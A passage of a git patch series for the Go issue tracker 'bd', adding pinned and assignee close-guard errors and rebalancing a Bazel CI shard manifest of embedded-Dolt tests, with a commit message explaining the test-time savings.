CloseBatchRequest.Force, CloseItem.Force) bypasses +// it. +var ErrPinned = errors.New("issue is pinned") + +// PinnedError reports the pinned issue an unforced close was refused for. Its +// message is the sentence `bd close` has always printed for the refusal. +type PinnedError struct { + // IssueID names the pinned issue. + IssueID string +} + +func (e *PinnedError) Error() string { + return fmt.Sprintf("cannot modify pinned issue %s (use --force to override)", e.IssueID) +} + +// Unwrap makes PinnedError match ErrPinned. +func (e *PinnedError) Unwrap() error { return ErrPinned } + +// CloseNotAssigneeError reports an unforced close refused because the issue is +// assigned to someone other than the closing actor (be-035): storage would +// accept the id-only close, so without the guard actor A silently closes the +// bead actor B holds. Authority is identity-by-string under the same +// separator-insensitive comparison every assignee guard uses; an unassigned +// issue is closable by anyone. Force bypasses it. +// +// It matches ErrNotOwner — the ownership refusal a release earns for the same +// situation — and its message is the sentence `bd close` has always printed. +type CloseNotAssigneeError struct { + // IssueID names the issue that refused the close. + IssueID string + // Assignee is the holder observed inside the refusing transaction. + Assignee string + // Actor is the closing actor the request named. + Actor string +} + +func (e *CloseNotAssigneeError) Error() string { + return fmt.Sprintf("cannot close %s: assignee is %q, actor is %q; reclaim or use --force to override", e.IssueID, e.Assignee, e.Actor) +} + +// Unwrap makes CloseNotAssigneeError match ErrNotOwner. +func (e *CloseNotAssigneeError) Unwrap() error { return ErrNotOwner } + // ErrAlreadyExists is returned when a create operation is given an ID that is // already occupied. The issue and wisp tables share one ID space. var ErrAlreadyExists = errors.New("issue already exists") diff --git a/issueops/issueops.go b/issueops/issueops.go index 69c8a20a1..3d5588e2b 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -362,8 +362,10 @@ type CloseRequest struct { // and read back on CloseResult.Issue.ClosedBySession, under the same // first-close-wins rule as Reason. Session string - // Force bypasses only blocker and open-child close policy. It never bypasses - // validation, ExpectedVersion, or lifecycle rules. + // Force bypasses blocker and open-child close policy and the two close + // guards a force has always waived in bd: the pin, and the assignee + // authority fence. It never bypasses the template guard, validation, + // ExpectedVersion, or lifecycle rules. Force bool // ExpectedVersion requires the current row version to match, and is checked // BEFORE the idempotent close — so a re-close of an already-closed issue @@ -496,10 +498,16 @@ type Lifecycle interface { // Close validates guards and commits the complete request as one atomic // mutation. It moves the issue to literal StatusClosed, including from a // configured done status. ExpectedVersion is checked first, including for an - // idempotent close. An unforced close with open children returns - // CloseOpenChildrenError without mutation. Force bypasses blocker and - // open-child policy and reports OpenChildren, including for an idempotent - // re-close. A refusal or validation error leaves persistent state unchanged. + // idempotent close. A close of an issue that is not already closed answers + // to the close guards before close policy: a template returns + // *TemplateReadOnlyError, forced or not; unforced, a pinned issue returns + // *PinnedError and one assigned to someone other than Actor (compared + // separator-insensitively) returns *CloseNotAssigneeError, matching + // ErrNotOwner. An unforced close with open children returns + // CloseOpenChildrenError without mutation. Force bypasses the pin, the + // assignee fence, and blocker and open-child policy, and reports + // OpenChildren, including for an idempotent re-close. A refusal or + // validation error leaves persistent state unchanged. Close(context.Context, CloseRequest) (CloseResult, error) // Reopen validates guards and commits the complete request as one atomic // mutation. It moves literal StatusClosed and configured done statuses to diff --git a/issueops/template_errors.go b/issueops/template_errors.go index 8997324c3..73dc50501 100644 --- a/issueops/template_errors.go +++ b/issueops/template_errors.go @@ -6,8 +6,9 @@ import ( ) // ErrTemplateReadOnly is returned when a mutation that guards templates names -// one. Every update does (Lifecycle.Update, a BatchApplier update item); not -// every verb does yet (bd-jkp9v3). Templates are read-only: the way to get +// one. Every update does (Lifecycle.Update, a BatchApplier update item), and so +// does every close (Lifecycle.Close, BatchCloser, a BatchApplier close item); +// not every verb does yet (bd-jkp9v3). Templates are read-only: the way to get // work out of one is to pour it (`bd mol pour`), which creates new issues and // leaves the template untouched. There is no force bypass — no Force flag // waives it; only an update that sets UpdateRequest.AllowTemplate (bd label, diff --git a/tests/oracle-a/harness/scenarios/enumerated.json b/tests/oracle-a/harness/scenarios/enumerated.json index 242e11e03..3135e819e 100644 --- a/tests/oracle-a/harness/scenarios/enumerated.json +++ b/tests/oracle-a/harness/scenarios/enumerated.json @@ -67,7 +67,7 @@ "--json" ] ], - "pins": "close.go has no already-closed guard in validateIssueClosable (only NotTemplate+NotPinned); second close re-runs CloseIssue; pins idempotency/event behavior of the storage layer.", + "pins": "the close guards (storeissueops.CheckClosable: template, pin, assignee) skip a row already at literal closed (ga-ktn9pe.4.8), so the second close reaches the role as its idempotent re-close (Changed=false, exit 0); pins idempotency/event behavior of the storage layer.", "deterministic": true }, { @@ -598,7 +598,7 @@ "--json" ] ], - "pins": "validateIssueClosable NotPinned(force): without force stderr 'cannot modify pinned issue clp-1 (use --force to override)' + SilentExit; with --force closes.", + "pins": "the pin close guard (storeissueops.CheckClosable, waived by force; the role applies it again inside the close transaction): without force stderr 'cannot modify pinned issue clp-1 (use --force to override)' + SilentExit; with --force closes.", "deterministic": true }, { From 1531a31760c44fc4b3a264d6b263e608247f9b79 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 19:20:33 +0000 Subject: [PATCH 194/325] ci(bazel): halve the embedded cmd tier's cost (seeded bd init schema, no race exit sleep, concurrency-aware packing) (#7437) //cmd/bd:bd_embedded_test sits at Bazel's 50-shard cap and was the embedded lane's floor (shards 62-250s). Measured on rbe-west, every shard's wall time was its single slowest top-level test, and most of a test's time was `bd init` (~20s under -race: one Dolt commit per schema migration) plus a fixed 1s per bd subprocess exit (the race runtime's atexit_sleep_ms). - bdInit seeds .beads/embeddeddolt/ from a per-process schema template (an empty database with every migration applied, made once per shard by a non-race build of internal/storage/embeddeddolt/cmd) before running the real `bd init`, which then skips the migration chain and does everything else itself (identity, prefix, config, hooks, agent files, git commit). Only for argument lists it understands (--prefix/--database plus --quiet/--skip-hooks/--skip-agents/--non-interactive), and it checks the result is the seeded embedded database. BEADS_TEST_FRESH_INIT=1 turns it off. The TestEmbeddedInit* tests run their own init and are unaffected. - GORACE=atexit_sleep_ms=0 on the target: the bd subprocesses no longer sleep 1s before exiting. A race they hit while running still fails the command as before. - TestEmbeddedInitSelectedExcludeRouting (serial, t.Setenv, 7 full inits, ~113s) is split into ...Stealth and ...Fork top-level functions; same cases, same assertions. - The generator packs with a model of the shard process (pack_concurrent): tests without a top-level t.Parallel run one after another, the rest share -test.parallel=4. The durations are re-measured on rbe-west. rbe-west, `bazel test //cmd/bd:bd_embedded_test --config=embedded --nocache_test_results`: test-seconds 20.2k -> ~10.3k, shard-seconds 8.0k -> ~4.2k, slowest shard 243s -> 138s / 163s (two runs, before the repack). Bead: ga-vnycm2.17 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 499 +++++++-------- .github/workflows/bazel.yml | 16 +- cmd/bd/BUILD.bazel | 11 + cmd/bd/embedded_init_template_test.go | 239 ++++++++ cmd/bd/init_embedded_test.go | 26 +- internal/storage/embeddeddolt/cmd/BUILD.bazel | 18 + scripts/ci/_embedded_shard_manifest_lib.py | 33 +- scripts/ci/embedded_cmd_test_durations.json | 579 +++++++++--------- scripts/ci/gen_embedded_cmd_shard_manifest.py | 38 +- scripts/pr_risk_bazel_coverage_test.go | 7 +- scripts/shard_manifest_test.go | 29 + 11 files changed, 929 insertions(+), 566 deletions(-) create mode 100644 cmd/bd/embedded_init_template_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index a0ef80ddb..486e904fe 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -188,9 +188,11 @@ # # 50-shard split for the Bazel-only embedded-Dolt cmd tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed -# longest-processing-time-first by measured wall-time from +# longest-first by measured wall-time from # scripts/ci/embedded_cmd_test_durations.json (see that file for provenance -# and its "relative weight, not absolute SLA" caveat). +# and its "relative weight, not absolute SLA" caveat) onto the shard +# whose estimated wall time grows least: serial tests (no top-level +# t.Parallel) add up, parallel ones share -test.parallel=4. # Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py 50 # --weights=duration --write after adding, splitting or removing # TestEmbedded* functions in cmd/bd/*_embedded_test.go. --write is @@ -206,301 +208,302 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -50 1 TestEmbeddedCommentsCLI -50 1 TestEmbeddedDepAddWispSource -50 1 TestEmbeddedListFiltering -50 1 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget +50 1 TestEmbeddedInitA -50 2 TestEmbeddedCreateRepoFromNonBeadsCwd -50 2 TestEmbeddedDeleteJSONDependencyErrorContract -50 2 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate -50 2 TestEmbeddedHistoryConcurrent -50 2 TestEmbeddedInitA +50 2 TestEmbeddedGateCreate -50 3 TestEmbeddedAdminCompactTier2Honesty -50 3 TestEmbeddedMaxRowsListLimitInteraction -50 3 TestEmbeddedOrphans -50 3 TestEmbeddedShowUnresolvableDeps -50 3 TestEmbeddedStale +50 3 TestEmbeddedRoutedMutatingSiblingAssignTagDep -50 4 TestEmbeddedBootstrapConcurrent -50 4 TestEmbeddedDuplicatesConcurrent -50 4 TestEmbeddedInfo -50 4 TestEmbeddedMaxRowsDoctorAndConfig -50 4 TestEmbeddedRoutedSiblingWritesCommitTargetHead +50 4 TestEmbeddedUpdateConcurrent -50 5 TestEmbeddedCreateScalarAndRelationships -50 5 TestEmbeddedDefer -50 5 TestEmbeddedDoltBlockedAndCommit -50 5 TestEmbeddedGCConcurrent -50 5 TestEmbeddedPromote +50 5 TestEmbeddedMaxRowsListLimitInteraction -50 6 TestEmbeddedCreateStorageClassConflicts -50 6 TestEmbeddedGC -50 6 TestEmbeddedGetDependencies -50 6 TestEmbeddedQuickConcurrent +50 6 TestEmbeddedSwarm -50 7 TestEmbeddedCreateCrossRepoDryRunWithParent -50 7 TestEmbeddedEpicStatus -50 7 TestEmbeddedGate -50 7 TestEmbeddedWhere +50 7 TestEmbeddedDepA -50 8 TestEmbeddedChangeDirOverridesInheritedBeadsDir -50 8 TestEmbeddedMemoryConcurrent -50 8 TestEmbeddedUpdateConcurrent -50 8 TestEmbeddedVCConcurrent +50 8 TestEmbeddedDepB -50 9 TestEmbeddedCloseAlreadyClosed -50 9 TestEmbeddedConfigConcurrent -50 9 TestEmbeddedExternalCapabilityReadyAfterShip -50 9 TestEmbeddedPrimeConcurrent +50 9 TestEmbeddedKVConcurrent -50 10 TestEmbeddedDepB -50 10 TestEmbeddedHuman -50 10 TestEmbeddedInitExplicitBeadsDirIsAuthoritative -50 10 TestEmbeddedPromoteCLI +50 10 TestEmbeddedListFiltering -50 11 TestEmbeddedBlockedConcurrent -50 11 TestEmbeddedDepA -50 11 TestEmbeddedMaxRowsDepTreeAndDuplicates -50 11 TestEmbeddedState +50 11 TestEmbeddedInitRoleRouting -50 12 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead -50 12 TestEmbeddedPrimeChangeDirPrimesTarget -50 12 TestEmbeddedPromoteCLIConcurrent -50 12 TestEmbeddedSearchConcurrent -50 12 TestEmbeddedTypes +50 12 TestEmbeddedContributorCreate -50 13 TestEmbeddedAutoImportJSONLNoExplicitCommit -50 13 TestEmbeddedDiff -50 13 TestEmbeddedDuplicates -50 13 TestEmbeddedShipConcurrent +50 13 TestEmbeddedInitGitBootstrapRouting -50 14 TestEmbeddedInitConcurrent -50 14 TestEmbeddedOrphansConcurrent -50 14 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget -50 14 TestEmbeddedRoutedMutatingSiblingDeleteClose -50 14 TestEmbeddedSwarm +50 14 TestEmbeddedCloseConcurrent -50 15 TestEmbeddedChildrenConcurrent -50 15 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout -50 15 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget -50 15 TestEmbeddedEpicCloseEligibleReasonFlag -50 15 TestEmbeddedExplicitHierarchicalParentEdges -50 15 TestEmbeddedIfRevisionReopenGuardDirect -50 15 TestEmbeddedVersionConcurrent +50 15 TestEmbeddedCloseAlreadyClosed -50 16 TestEmbeddedBlockedLabelFilters -50 16 TestEmbeddedGCConditionalMatcherDecode -50 16 TestEmbeddedGateInheritsDownParentChain -50 16 TestEmbeddedGatedRendering -50 16 TestEmbeddedKV -50 16 TestEmbeddedMaxRowsReady -50 16 TestEmbeddedMemoryCorpusBudget -50 16 TestEmbeddedOpen_EmptyDatabaseRejected -50 16 TestEmbeddedRestoreConcurrent -50 16 TestEmbeddedVCCommitVariantsAndMerge -50 16 TestEmbeddedVersion +50 16 TestEmbeddedRoutedSiblingWritesCommitTargetHead -50 17 TestEmbeddedCloseGuardsAndEpics -50 17 TestEmbeddedCompact -50 17 TestEmbeddedGateConcurrent -50 17 TestEmbeddedListComments -50 17 TestEmbeddedReadOnlyCommandsSpawnNoGit +50 17 TestEmbeddedConfigConcurrent -50 18 TestEmbeddedContext -50 18 TestEmbeddedContributorCreate -50 18 TestEmbeddedImportClosedChildWhoseParentWasDeleted -50 18 TestEmbeddedReopen -50 18 TestEmbeddedStateConcurrent +50 18 TestEmbeddedGate -50 19 TestEmbeddedAdminBlocked -50 19 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected -50 19 TestEmbeddedDoltConcurrent -50 19 TestEmbeddedMaxRowsListBasic -50 19 TestEmbeddedPruneSafetyAndScope +50 19 TestEmbeddedShowDetailAndCurrent -50 20 TestEmbeddedCreateStorageClassBatchAndMisc -50 20 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge -50 20 TestEmbeddedKVConcurrent -50 20 TestEmbeddedSetup +50 20 TestEmbeddedDelete -50 21 TestEmbeddedBackup -50 21 TestEmbeddedCreateCrossRepoUninit -50 21 TestEmbeddedDiffConcurrent -50 21 TestEmbeddedQuick -50 21 TestEmbeddedQuickstart +50 21 TestEmbeddedBootstrap -50 22 TestEmbeddedAdminCompactReadOnlyAllowed -50 22 TestEmbeddedCreateRepoProxiedTargetError -50 22 TestEmbeddedDuplicateConcurrent -50 22 TestEmbeddedFlatten -50 22 TestEmbeddedTypesAgreeWithCreate +50 22 TestEmbeddedUnclaim -50 23 TestEmbeddedExportConcurrent -50 23 TestEmbeddedHistory -50 23 TestEmbeddedMaxRowsGraph -50 23 TestEmbeddedSetupConcurrent -50 23 TestEmbeddedShip +50 23 TestEmbeddedBootstrapConcurrent +50 23 TestEmbeddedHooksConcurrent +50 23 TestEmbeddedShowConcurrent -50 24 TestEmbeddedCloseBasic -50 24 TestEmbeddedImportUpsertAndPrefixSync -50 24 TestEmbeddedQuery -50 24 TestEmbeddedReclaimRunsTheLeaseReclaimerRole -50 24 TestEmbeddedUpdateRoutedStoreCommitsTargetHead +50 24 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll +50 24 TestEmbeddedBackupConcurrent +50 24 TestEmbeddedBlocked +50 24 TestEmbeddedComments +50 24 TestEmbeddedCompactMisdatedChild +50 24 TestEmbeddedContextConcurrent +50 24 TestEmbeddedCreateCommitPending +50 24 TestEmbeddedCreateRepoFromNonBeadsCwd +50 24 TestEmbeddedCreateStorageClassBasic +50 24 TestEmbeddedCreateWithGitRemote +50 24 TestEmbeddedFindDuplicatesConcurrent +50 24 TestEmbeddedHistoryConcurrent +50 24 TestEmbeddedHooks +50 24 TestEmbeddedHumanConcurrent +50 24 TestEmbeddedInfoSuppressGitHooks +50 24 TestEmbeddedMigrateConcurrent +50 24 TestEmbeddedOnboard +50 24 TestEmbeddedPromote +50 24 TestEmbeddedQuickstart +50 24 TestEmbeddedWhere -50 25 TestEmbeddedBackupConcurrent -50 25 TestEmbeddedCreateStorageClassBasic -50 25 TestEmbeddedFindDuplicatesConcurrent -50 25 TestEmbeddedInitGitBootstrapRouting -50 25 TestEmbeddedInitHooksRouting +50 25 TestEmbeddedAdminCompactReadOnlyAllowed +50 25 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber +50 25 TestEmbeddedConfigNoWorkspaceStoreFreeCommands +50 25 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout +50 25 TestEmbeddedCreateGraphAndBulk +50 25 TestEmbeddedDoltRemoteAndPush +50 25 TestEmbeddedGateInheritsDownParentChain +50 25 TestEmbeddedListConcurrent +50 25 TestEmbeddedOnboardConcurrent +50 25 TestEmbeddedPrime +50 25 TestEmbeddedQuickstartConcurrent +50 25 TestEmbeddedRenamePrefixConcurrent +50 25 TestEmbeddedSetup +50 25 TestEmbeddedSetupConcurrent +50 25 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead +50 25 TestEmbeddedUpdateFields +50 25 TestEmbeddedVCCommitVariantsAndMerge +50 25 TestEmbeddedVersion +50 25 TestEmbeddedVersionConcurrent -50 26 TestEmbeddedCreateCommitPending -50 26 TestEmbeddedInitC -50 26 TestEmbeddedRenamePrefixBasic -50 26 TestEmbeddedRoutedMutatingSiblingAssignTagDep -50 26 TestEmbeddedSupersedeConcurrent +50 26 TestEmbeddedAdminBlocked +50 26 TestEmbeddedBlockedLabelFilters +50 26 TestEmbeddedClaimPools +50 26 TestEmbeddedCompactConcurrent +50 26 TestEmbeddedExportConcurrent +50 26 TestEmbeddedGCConcurrent +50 26 TestEmbeddedGraphConcurrent +50 26 TestEmbeddedPrimeChangeDirPrimesTarget +50 26 TestEmbeddedPrimeConcurrent +50 26 TestEmbeddedReopenConcurrent +50 26 TestEmbeddedTodoConcurrent +50 26 TestEmbeddedTypes +50 26 TestEmbeddedTypesConcurrent -50 27 TestEmbeddedComments -50 27 TestEmbeddedMaxRowsReadyMerge -50 27 TestEmbeddedPrime -50 27 TestEmbeddedPruneDryRunAndFilters -50 27 TestEmbeddedReopenConcurrent +50 27 TestEmbeddedBranch +50 27 TestEmbeddedContext +50 27 TestEmbeddedCountIncludeEphemeral +50 27 TestEmbeddedCreateFormCommitsLabelOnlyCreate +50 27 TestEmbeddedFederationConcurrent +50 27 TestEmbeddedGateListScoped +50 27 TestEmbeddedIfRevisionReopenGuardDirect +50 27 TestEmbeddedOrphans +50 27 TestEmbeddedPurgeWispsPlaneRetention +50 27 TestEmbeddedReclaimRunsTheLeaseReclaimerRole +50 27 TestEmbeddedStaleLabelFilters -50 28 TestEmbeddedConfigNoWorkspaceStoreFreeCommands -50 28 TestEmbeddedEpicCloseEligibleReasonOutput -50 28 TestEmbeddedMigrate +50 28 TestEmbeddedAutoImportJSONLConcurrentWriter +50 28 TestEmbeddedAutoImportJSONLSkipsNonEmpty +50 28 TestEmbeddedBranchConcurrent +50 28 TestEmbeddedCreateConcurrent +50 28 TestEmbeddedEpicCloseEligibleReasonFlag +50 28 TestEmbeddedFederationStatus +50 28 TestEmbeddedLabelAddRemove +50 28 TestEmbeddedPurgeConcurrent +50 28 TestEmbeddedReadyClaimConcurrent 50 28 TestEmbeddedStatus -50 28 TestEmbeddedSwarmConcurrent -50 29 TestEmbeddedClaimPools -50 29 TestEmbeddedCreateGraphAndBulk -50 29 TestEmbeddedCreateJSONEchoesSubSecondTimestamps -50 29 TestEmbeddedHumanConcurrent -50 29 TestEmbeddedInitSelectedExcludeRouting +50 29 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate +50 29 TestEmbeddedDepConcurrent +50 29 TestEmbeddedFlatten +50 29 TestEmbeddedGetDependencies +50 29 TestEmbeddedImportUpsertAndPrefixSync +50 29 TestEmbeddedInfo +50 29 TestEmbeddedMaxRowsDoctorAndConfig +50 29 TestEmbeddedOrphansConcurrent +50 29 TestEmbeddedRenamePrefixEdgeCases -50 30 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll -50 30 TestEmbeddedDepConcurrent -50 30 TestEmbeddedExportFormats -50 30 TestEmbeddedReadyClaimConcurrent -50 30 TestEmbeddedStaleConcurrent +50 30 TestEmbeddedAutoImportJSONLNoExplicitCommit +50 30 TestEmbeddedCreateJSONEchoesSubSecondTimestamps +50 30 TestEmbeddedDepAddWispSource +50 30 TestEmbeddedExportFlags +50 30 TestEmbeddedListComments +50 30 TestEmbeddedPurgeBasics +50 30 TestEmbeddedReadOnlyCommandsSpawnNoGit +50 30 TestEmbeddedReadyConcurrent +50 30 TestEmbeddedRoutedMutatingSiblingDeleteClose -50 31 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber -50 31 TestEmbeddedAutoImportJSONLConcurrentWriter -50 31 TestEmbeddedDeferAutoWake -50 31 TestEmbeddedExternalMutationPolicy -50 31 TestEmbeddedShowConcurrent +50 31 TestEmbeddedCreateCrossRepoUninit +50 31 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget +50 31 TestEmbeddedDoltBlockedAndCommit +50 31 TestEmbeddedDoltConcurrent +50 31 TestEmbeddedGatedRendering +50 31 TestEmbeddedImportFromSources +50 31 TestEmbeddedInfoConcurrent +50 31 TestEmbeddedInitB +50 31 TestEmbeddedMigrate -50 32 TestEmbeddedCreateCrossRepo -50 32 TestEmbeddedDuplicate -50 32 TestEmbeddedInitArtifactRouting -50 32 TestEmbeddedShowBasicsAndJSON -50 32 TestEmbeddedUpdateLifecycle +50 32 TestEmbeddedBackup +50 32 TestEmbeddedExternalCapabilityReadyAfterShip +50 32 TestEmbeddedFederationPeers +50 32 TestEmbeddedLabelConcurrent +50 32 TestEmbeddedMaxRowsReadyMerge +50 32 TestEmbeddedPreviewDoesNotConsumeVersionMarker +50 32 TestEmbeddedRestore +50 32 TestEmbeddedTypesAgreeWithCreate -50 33 TestEmbeddedCreateConcurrent -50 33 TestEmbeddedCreateRepoRelativeUninitRefused -50 33 TestEmbeddedEpicCloseEligible -50 33 TestEmbeddedSearch -50 33 TestEmbeddedTodo +50 33 TestEmbeddedBlockedConcurrent +50 33 TestEmbeddedDefer +50 33 TestEmbeddedGC +50 33 TestEmbeddedPruneDryRunAndFilters +50 33 TestEmbeddedPurgeFiltered +50 33 TestEmbeddedQuery +50 33 TestEmbeddedVCConcurrent +50 33 TestEmbeddedWhereConcurrent -50 34 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget -50 34 TestEmbeddedGateListScoped -50 34 TestEmbeddedLintConcurrent -50 34 TestEmbeddedPurgeWispsPlaneRetention -50 34 TestEmbeddedReady +50 34 TestEmbeddedCompact +50 34 TestEmbeddedCreateCrossRepoWithParent +50 34 TestEmbeddedCreateRepoRelativeUninitRefused +50 34 TestEmbeddedCreateStorageClassConflicts +50 34 TestEmbeddedDuplicatesConcurrent +50 34 TestEmbeddedEpicCloseEligibleReasonOutput +50 34 TestEmbeddedFlattenConcurrent +50 34 TestEmbeddedOpen_EmptyDatabaseRejected +50 34 TestEmbeddedRestoreConcurrent +50 34 TestEmbeddedUpdateLifecycle -50 35 TestEmbeddedCommentsCLIConcurrent -50 35 TestEmbeddedHooksConcurrent -50 35 TestEmbeddedLabelPropagateRename -50 35 TestEmbeddedListSearchAndOutput -50 35 TestEmbeddedSupersede +50 35 TestEmbeddedCreateCrossRepo +50 35 TestEmbeddedDeleteJSONDependencyErrorContract +50 35 TestEmbeddedDuplicateConcurrent +50 35 TestEmbeddedInitArtifactRouting +50 35 TestEmbeddedMaxRowsListBasic +50 35 TestEmbeddedStateConcurrent +50 35 TestEmbeddedVCStatusAndCommit -50 36 TestEmbeddedDeferConcurrent -50 36 TestEmbeddedFederationPeers -50 36 TestEmbeddedFlattenConcurrent -50 36 TestEmbeddedStatusConcurrent -50 36 TestEmbeddedTodoConcurrent +50 36 TestEmbeddedAdminCompactTier2Honesty +50 36 TestEmbeddedCloseBasic +50 36 TestEmbeddedConfig +50 36 TestEmbeddedCountConcurrent +50 36 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead +50 36 TestEmbeddedInitConcurrent +50 36 TestEmbeddedLintConcurrent +50 36 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget -50 37 TestEmbeddedInfoSuppressGitHooks -50 37 TestEmbeddedInitB +50 37 TestEmbeddedChangeDirOverridesInheritedBeadsDir +50 37 TestEmbeddedChildren +50 37 TestEmbeddedChildrenConcurrent +50 37 TestEmbeddedCreateCrossRepoDryRunWithParent +50 37 TestEmbeddedCreateStorageClassBatchAndMisc 50 37 TestEmbeddedQueryConcurrent -50 37 TestEmbeddedUndeferConcurrent -50 37 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead +50 37 TestEmbeddedStaleConcurrent -50 38 TestEmbeddedBlocked -50 38 TestEmbeddedCreateCrossRepoWithParent -50 38 TestEmbeddedEpicConcurrent -50 38 TestEmbeddedHooks -50 38 TestEmbeddedUndefer +50 38 TestEmbeddedCreateDryRunDoesNotMigrate +50 38 TestEmbeddedImportPromotedWispRoundtrip +50 38 TestEmbeddedMaxRowsReady +50 38 TestEmbeddedReady +50 38 TestEmbeddedRenamePrefixBasic +50 38 TestEmbeddedShip +50 38 TestEmbeddedSupersede -50 39 TestEmbeddedBranchConcurrent -50 39 TestEmbeddedCountIncludeInfra -50 39 TestEmbeddedCreateWithGitRemote -50 39 TestEmbeddedDelete -50 39 TestEmbeddedUpdateFields +50 39 TestEmbeddedDeferAutoWake +50 39 TestEmbeddedEpicConcurrent +50 39 TestEmbeddedGateConcurrent +50 39 TestEmbeddedInitC +50 39 TestEmbeddedKV +50 39 TestEmbeddedLint +50 39 TestEmbeddedPromoteCLI -50 40 TestEmbeddedCountConcurrent -50 40 TestEmbeddedCountIncludeEphemeral -50 40 TestEmbeddedCreateFormCommitsLabelOnlyCreate -50 40 TestEmbeddedLabelEditReports -50 40 TestEmbeddedPreviewDoesNotConsumeVersionMarker +50 40 TestEmbeddedCommentsCLI +50 40 TestEmbeddedCommentsCLIConcurrent +50 40 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead +50 40 TestEmbeddedDiffConcurrent +50 40 TestEmbeddedImportConcurrent +50 40 TestEmbeddedSupersedeConcurrent +50 40 TestEmbeddedTodo -50 41 TestEmbeddedGateCreate -50 41 TestEmbeddedLabelAddRemove -50 41 TestEmbeddedLabelConcurrent -50 41 TestEmbeddedListConcurrent -50 41 TestEmbeddedTypesConcurrent +50 41 TestEmbeddedHistory +50 41 TestEmbeddedInitSelectedExcludeRoutingFork +50 41 TestEmbeddedListSearchAndOutput +50 41 TestEmbeddedPromoteCLIConcurrent +50 41 TestEmbeddedQuick +50 41 TestEmbeddedUndefer -50 42 TestEmbeddedImportFromSources -50 42 TestEmbeddedReadyConcurrent -50 42 TestEmbeddedRenamePrefixEdgeCases -50 42 TestEmbeddedRestore -50 42 TestEmbeddedSquashWispMoleculeClearsRootEphemeral +50 42 TestEmbeddedCountIncludeInfra +50 42 TestEmbeddedDuplicate +50 42 TestEmbeddedEpicCloseEligible +50 42 TestEmbeddedInitExplicitBeadsDirIsAuthoritative +50 42 TestEmbeddedQuietFlagSuppressesSuccessOutput +50 42 TestEmbeddedStatusConcurrent -50 43 TestEmbeddedFindDuplicates -50 43 TestEmbeddedGraph -50 43 TestEmbeddedImportPromotedWispRoundtrip -50 43 TestEmbeddedInfoConcurrent -50 43 TestEmbeddedQuickstartConcurrent +50 43 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected +50 43 TestEmbeddedImportClosedChildWhoseParentWasDeleted +50 43 TestEmbeddedLabelEditReports +50 43 TestEmbeddedShowBasicsAndJSON +50 43 TestEmbeddedState +50 43 TestEmbeddedSwarmConcurrent -50 44 TestEmbeddedDoltRemoteAndPush -50 44 TestEmbeddedGraphConcurrent -50 44 TestEmbeddedImportConcurrent -50 44 TestEmbeddedInitRoleRouting -50 44 TestEmbeddedWhereConcurrent +50 44 TestEmbeddedFindDuplicates +50 44 TestEmbeddedMaxRowsGraph +50 44 TestEmbeddedMemory +50 44 TestEmbeddedShipConcurrent +50 44 TestEmbeddedShowUnresolvableDeps +50 44 TestEmbeddedSquashWispMoleculeClearsRootEphemeral -50 45 TestEmbeddedChildren -50 45 TestEmbeddedCompactConcurrent -50 45 TestEmbeddedMigrateConcurrent -50 45 TestEmbeddedShowDetailAndCurrent -50 45 TestEmbeddedVCStatusAndCommit +50 45 TestEmbeddedCloseGuardsAndEpics +50 45 TestEmbeddedCreateRepoProxiedTargetError +50 45 TestEmbeddedCreateScalarAndRelationships +50 45 TestEmbeddedDuplicates +50 45 TestEmbeddedUndeferConcurrent +50 45 TestEmbeddedUpdateRoutedStoreCommitsTargetHead -50 46 TestEmbeddedCompactMisdatedChild 50 46 TestEmbeddedCount -50 46 TestEmbeddedCreateDryRunDoesNotMigrate -50 46 TestEmbeddedFederationStatus -50 46 TestEmbeddedStaleLabelFilters +50 46 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge +50 46 TestEmbeddedDepNoCycleCheck +50 46 TestEmbeddedEpicStatus +50 46 TestEmbeddedInitHooksRouting +50 46 TestEmbeddedReopen -50 47 TestEmbeddedBootstrap -50 47 TestEmbeddedBranch -50 47 TestEmbeddedContextConcurrent -50 47 TestEmbeddedLint -50 47 TestEmbeddedPurgeConcurrent +50 47 TestEmbeddedDiff +50 47 TestEmbeddedGraph +50 47 TestEmbeddedHuman +50 47 TestEmbeddedMemoryCorpusBudget +50 47 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget +50 47 TestEmbeddedQuickConcurrent +50 47 TestEmbeddedSearchConcurrent -50 48 TestEmbeddedCloseConcurrent -50 48 TestEmbeddedConfig -50 48 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead -50 48 TestEmbeddedOnboardConcurrent -50 48 TestEmbeddedQuietFlagSuppressesSuccessOutput +50 48 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget +50 48 TestEmbeddedExportFormats 